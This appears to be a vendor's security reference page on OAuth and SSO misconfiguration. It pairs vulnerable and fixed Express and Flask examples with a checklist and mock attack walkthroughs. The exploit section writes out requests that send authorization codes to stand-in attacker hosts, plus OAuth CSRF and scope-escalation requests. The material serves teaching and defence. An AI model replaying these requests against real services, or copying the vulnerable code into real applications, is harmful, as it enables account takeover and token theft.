OAuth & SSO Misconfiguration
OAuth & SSO Misconfiguration at a glance
Overview
OAuth and SSO misconfigurations represent a class of vulnerabilities specific to federated authentication systems. These protocols involve multiple parties (authorization servers, clients, resource servers) and complex flows that must be implemented correctly to be secure.
Common vulnerabilities include missing or weak state validation leading to CSRF, open redirect vulnerabilities in redirect_uri, missing PKCE for mobile/SPA applications, improper token validation, and scope escalation attacks.
Where it occurs
OAuth and SSO vulnerabilities occur in authorization flows lacking proper state, redirect, or scope validation, missing PKCE for public clients, or improperly verifying tokens and issuers.
Impact
OAuth/SSO misconfigurations lead to account takeover through authorization code interception, session hijacking, token theft, authentication bypass, and privilege escalation through scope manipulation.
Prevention
Prevent this vulnerability by enforcing state validation, using PKCE for public clients, restricting redirect URIs to an allowlist, validating JWT integrity and claims, using the authorization code flow, and enforcing strict scope checks.
Examples
Switch tabs to view language/framework variants.
OAuth implementation without state parameter enables CSRF attacks
OAuth flow missing state validation allows attackers to trick victims into linking attacker's account.
// Vulnerable: No state parameter in OAuth flow
const express = require('express');
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: 'https://app.example.com/auth/google/callback'
},
function(accessToken, refreshToken, profile, cb) {
// Find or create user
User.findOrCreate({ googleId: profile.id }, function (err, user) {
return cb(err, user);
});
}
));
app.get('/auth/google',
// Missing: state parameter generation
passport.authenticate('google', { scope: ['profile', 'email'] })
);
app.get('/auth/google/callback',
// Missing: state parameter validation
passport.authenticate('google', { failureRedirect: '/login' }),
function(req, res) {
// User is authenticated and logged in
res.redirect('/dashboard');
}
);- Line 18:
- Line 23:
The vulnerable code initiates an OAuth flow without generating or validating a state parameter. This makes the application vulnerable to OAuth CSRF attacks.
An attacker can start an OAuth flow with their own account, capture the authorization code from the redirect, and trick a victim into completing that OAuth flow in their session.
Without state validation, the application cannot distinguish between legitimate OAuth callbacks initiated by the user and malicious callbacks injected by an attacker.
This leads to account linking attacks where the victim's session becomes associated with the attacker's OAuth account, potentially exposing the victim's data.
// Secure: Proper state parameter implementation
const express = require('express');
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
const crypto = require('crypto');
passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: 'https://app.example.com/auth/google/callback',
// Enable state parameter
state: true
},
function(accessToken, refreshToken, profile, cb) {
User.findOrCreate({ googleId: profile.id }, function (err, user) {
return cb(err, user);
});
}
));
app.get('/auth/google', function(req, res, next) {
// Generate cryptographically secure state
const state = crypto.randomBytes(32).toString('hex');
// Store state in session with timestamp
req.session.oauthState = {
value: state,
timestamp: Date.now()
};
// Pass state to OAuth provider
passport.authenticate('google', {
scope: ['profile', 'email'],
state: state
})(req, res, next);
});
app.get('/auth/google/callback', function(req, res, next) {
const receivedState = req.query.state;
const storedState = req.session.oauthState;
// Validate state parameter
if (!receivedState || !storedState) {
return res.status(403).json({ error: 'Missing state parameter' });
}
if (receivedState !== storedState.value) {
return res.status(403).json({ error: 'Invalid state parameter' });
}
// Check state is not expired (5 minutes)
const stateAge = Date.now() - storedState.timestamp;
if (stateAge > 5 * 60 * 1000) {
return res.status(403).json({ error: 'State parameter expired' });
}
// Clear state after validation
delete req.session.oauthState;
// Proceed with authentication
passport.authenticate('google', {
failureRedirect: '/login',
failureFlash: true
})(req, res, function() {
res.redirect('/dashboard');
});
});- Line 19:
- Line 23:
- Line 37:
- Line 45:
The secure implementation generates a cryptographically secure state parameter using crypto.randomBytes() when initiating the OAuth flow. This state is stored in the user's session with a timestamp.
The state parameter is passed to the OAuth provider and returned in the callback URL. Before processing the authorization code, the application validates that the received state matches the stored state.
State validation ensures that the OAuth callback is for the same session that initiated the request, preventing CSRF attacks where an attacker tries to inject their own authorization code.
The state expires after 5 minutes and is deleted after validation, preventing replay attacks and ensuring one-time use.
This implementation follows OAuth 2.0 RFC 6749 security recommendations for preventing CSRF attacks in authorization flows.
Engineer Checklist
-
Implement and validate state parameter for CSRF protection
-
Use PKCE for all public clients (mobile, SPA)
-
Strictly validate redirect_uri against allowlist
-
Verify JWT signatures using provider's public keys
-
Validate issuer (iss), audience (aud), and expiration (exp) claims
-
Use authorization code flow, avoid implicit flow
-
Validate scopes and don't trust client-provided scopes
-
Implement token refresh securely
-
Use secure token storage (not localStorage for sensitive tokens)
-
Test OAuth flows for state bypass and code interception
End-to-End Example
An OAuth implementation missing state validation allows an attacker to perform CSRF and link their account to a victim's session.
# Vulnerable: No state validation in OAuth flow
from flask import Flask, request, redirect, session
import requests
app = Flask(__name__)
@app.route('/oauth/login')
def oauth_login():
# Missing state parameter!
auth_url = f"https://oauth.provider.com/authorize?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}"
return redirect(auth_url)
@app.route('/oauth/callback')
def oauth_callback():
code = request.args.get('code')
# No state validation - vulnerable to CSRF!
token_response = requests.post('https://oauth.provider.com/token', data={
'code': code,
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET
})
access_token = token_response.json()['access_token']
session['access_token'] = access_token
return 'Login successful'# Secure: Implement state validation and PKCE
from flask import Flask, request, redirect, session
import requests
import secrets
import hashlib
import base64
app = Flask(__name__)
def generate_pkce_pair():
code_verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b'=').decode()
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()
return code_verifier, code_challenge
@app.route('/oauth/login')
def oauth_login():
# Generate cryptographically secure state
state = secrets.token_urlsafe(32)
session['oauth_state'] = state
# Generate PKCE parameters
code_verifier, code_challenge = generate_pkce_pair()
session['code_verifier'] = code_verifier
auth_url = (
f"https://oauth.provider.com/authorize?"
f"client_id={CLIENT_ID}&"
f"redirect_uri={REDIRECT_URI}&"
f"state={state}&"
f"code_challenge={code_challenge}&"
f"code_challenge_method=S256"
)
return redirect(auth_url)
@app.route('/oauth/callback')
def oauth_callback():
code = request.args.get('code')
state = request.args.get('state')
# Validate state parameter (CSRF protection)
if not state or state != session.get('oauth_state'):
return 'Invalid state parameter', 403
# Clear state after validation
session.pop('oauth_state', None)
# Exchange code with PKCE
token_response = requests.post('https://oauth.provider.com/token', data={
'code': code,
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET,
'code_verifier': session.get('code_verifier'),
'grant_type': 'authorization_code'
})
if token_response.status_code != 200:
return 'Token exchange failed', 403
access_token = token_response.json()['access_token']
session['access_token'] = access_token
session.pop('code_verifier', None)
return 'Login successful'Discovery
Analyze OAuth flows for missing security parameters and token validation flaws.
-
1. Test redirect_uri validation
oauthAction
Attempt open redirect in OAuth flow to test if redirect_uri is properly validated
Request
GET https://api.example.com/oauth/authorize?client_id=app_client_123&redirect_uri=https://evil.example.com/steal&response_type=code&scope=read:userResponse
Status: 302Body:{ "vulnerability": "Open redirect in OAuth flow", "authorization_code": "AUTH_CODE_abc123xyz", "leaked_to": "evil.example.com", "note": "Authorization code sent to attacker's domain - redirect_uri not validated against allowlist!" }Artifacts
open_redirect code_interception authorization_code_leaked -
2. Test PKCE enforcement
oauthAction
Complete OAuth token exchange without PKCE parameters
Request
POST https://api.example.com/oauth/tokenHeaders:Content-Type: application/x-www-form-urlencodedBody:{ "grant_type": "authorization_code", "code": "AUTH_CODE_xyz789", "client_id": "app_client_123", "client_secret": "client_secret_abc", "redirect_uri": "https://app.example.com/callback", "note": "No code_verifier or code_challenge provided" }Response
Status: 200Body:{ "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzEyMyIsInNjb3BlIjoicmVhZDp1c2VyIiwiaWF0IjoxNzA1MzE3NjAwfQ...", "token_type": "Bearer", "expires_in": 3600, "refresh_token": "refresh_abc123xyz", "vulnerability": "PKCE not enforced", "note": "Access token issued without code_verifier - vulnerable to authorization code interception!" }Artifacts
missing_pkce code_interception_risk access_token_issued -
3. Test state parameter validation
oauthAction
Complete OAuth flow without state parameter or with invalid state
Request
GET https://api.example.com/oauth/callback?code=ATTACKER_CODE_123&state=Response
Status: 302Body:{ "message": "OAuth login successful", "user_id": "attacker_oauth_account", "linked_to_session": "victim_session", "vulnerability": "Missing state validation enables CSRF", "note": "Victim's session linked to attacker's OAuth account without state verification!" }Artifacts
csrf_vulnerability missing_state account_linking_attack -
4. Test scope escalation
oauthAction
Manipulate scope parameter to request elevated privileges
Request
GET https://api.example.com/oauth/authorize?client_id=app_123&scope=read:user%20write:user%20admin:all&redirect_uri=https://app.example.com/callback&response_type=codeResponse
Status: 302Body:{ "vulnerability": "Scope escalation allowed", "requested_scopes": [ "read:user", "write:user", "admin:all" ], "granted_scopes": [ "read:user", "write:user", "admin:all" ], "registered_scopes": [ "read:user", "write:user" ], "note": "Client requested 'admin:all' scope not in its registration - should be rejected but was granted!" }Artifacts
scope_escalation privilege_escalation excessive_permissions
Exploit steps
Attacker exploits missing state validation or redirect_uri validation to hijack authentication.
-
1. Steal authorization codes via open redirect
OAuth code interception via redirect_uri manipulation
oauthAction
Use open redirect vulnerability to steal victim's authorization codes
Request
GET https://api.example.com/oauth/authorize?client_id=app_client_123&redirect_uri=https://attacker.example.com/capture&response_type=code&scope=read:user%20write:userResponse
Status: 302Body:{ "attack_summary": { "attacker_action": "Sent victim phishing link with manipulated redirect_uri", "victim_action": "Victim clicked and authorized application", "stolen_code": "VICTIM_AUTH_CODE_xyz789abc", "attacker_capability": "Can exchange code for access token", "attack_success": "Full account takeover possible" }, "attacker_log": "Authorization code captured at attacker.example.com/capture endpoint" }Artifacts
stolen_auth_code code_interception account_takeover_vector -
2. Account takeover via OAuth CSRF
Force victim to link attacker's OAuth account
oauthAction
Exploit missing state validation to perform CSRF and link attacker's account to victim session
Request
GET https://api.example.com/oauth/callback?code=ATTACKER_OAUTH_CODE_123Headers:Cookie: session=victim_session_abc; HttpOnlyResponse
Status: 302Body:{ "oauth_csrf_attack": { "attacker_preparation": "Attacker initiated OAuth flow and captured their own authorization code", "csrf_vector": "Attacker sent victim link to /oauth/callback?code=ATTACKER_CODE", "victim_state": "Victim was logged into app.example.com with active session", "result": "Victim's session now linked to attacker's OAuth account", "impact": "When victim uses 'Login with OAuth', they authenticate as attacker", "data_leak": "Victim's actions and data now visible to attacker's OAuth account" }, "session_state": { "session_id": "victim_session_abc", "linked_oauth_account": "attacker_oauth_123@evil.com", "victim_unaware": true }, "note": "Missing state validation allowed CSRF - victim's session hijacked" }Artifacts
account_linking_csrf session_hijack account_compromise -
3. Exchange stolen code for access token
Use intercepted authorization code to obtain victim's access token
oauthAction
Exchange authorization code stolen via redirect_uri vulnerability for a valid access token
Request
POST https://api.example.com/oauth/tokenHeaders:Content-Type: application/x-www-form-urlencodedBody:{ "grant_type": "authorization_code", "code": "STOLEN_CODE_xyz789", "client_id": "app_client_123", "client_secret": "client_secret_abc", "redirect_uri": "https://app.example.com/callback" }Response
Status: 200Body:{ "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ2aWN0aW1fdXNlcl83ODkiLCJzY29wZSI6InJlYWQ6dXNlciB3cml0ZTp1c2VyIiwiaWF0IjoxNzA1MzE3NjAwLCJleHAiOjE3MDUzMjEyMDB9...", "token_type": "Bearer", "expires_in": 3600, "refresh_token": "refresh_victim_xyz789", "scope": "read:user write:user", "account_takeover": { "victim_user_id": "victim_user_789", "victim_email": "victim@company.com", "attacker_access": "Full read/write access to victim's account", "persistence": "refresh_token enables long-term access", "detection_difficulty": "Appears as legitimate OAuth login" }, "note": "Successfully exchanged stolen authorization code for victim's access token - full account takeover!" }Artifacts
access_token refresh_token full_account_access account_takeover_complete -
4. Exploit scope escalation for privilege escalation
Request and receive elevated scopes beyond client registration
oauthAction
Manipulate OAuth flow to gain admin scopes not registered for the client
Request
POST https://api.example.com/oauth/tokenHeaders:Content-Type: application/x-www-form-urlencodedBody:{ "grant_type": "authorization_code", "code": "AUTH_CODE_admin_scope", "client_id": "app_client_123", "scope": "read:user write:user admin:delete_users admin:read_all", "redirect_uri": "https://app.example.com/callback" }Response
Status: 200Body:{ "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhdHRhY2tlcl91c2VyIiwic2NvcGUiOiJyZWFkOnVzZXIgd3JpdGU6dXNlciBhZG1pbjpkZWxldGVfdXNlcnMgYWRtaW46cmVhZF9hbGwiLCJpYXQiOjE3MDUzMTc2MDB9...", "token_type": "Bearer", "scope": "read:user write:user admin:delete_users admin:read_all", "privilege_escalation": { "client_registered_scopes": [ "read:user", "write:user" ], "client_requested_scopes": [ "read:user", "write:user", "admin:delete_users", "admin:read_all" ], "scopes_granted": [ "read:user", "write:user", "admin:delete_users", "admin:read_all" ], "vulnerability": "OAuth server granted admin scopes not in client registration", "impact": "Attacker can now delete users and read all data" }, "admin_capabilities": [ "Delete any user account", "Read all user data across tenants", "Modify system configurations", "Access audit logs" ], "note": "Scope validation bypass - attacker gained administrative privileges!" }Artifacts
scope_escalation admin_privileges_granted privilege_escalation unauthorized_admin_access
Specific Impact
Account takeover through OAuth CSRF or authorization code interception.
Fix
Always generate and validate a cryptographically secure state parameter to prevent CSRF attacks in OAuth flows. Implement PKCE (Proof Key for Code Exchange) for all OAuth clients, especially public clients like SPAs and mobile apps. Strictly validate redirect_uri against an allowlist. Use the authorization code flow with PKCE instead of the implicit flow. Verify JWT signatures and validate all token claims (issuer, audience, expiration).
Detect This Vulnerability in Your Code
Sourcery automatically identifies oauth & sso misconfiguration vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free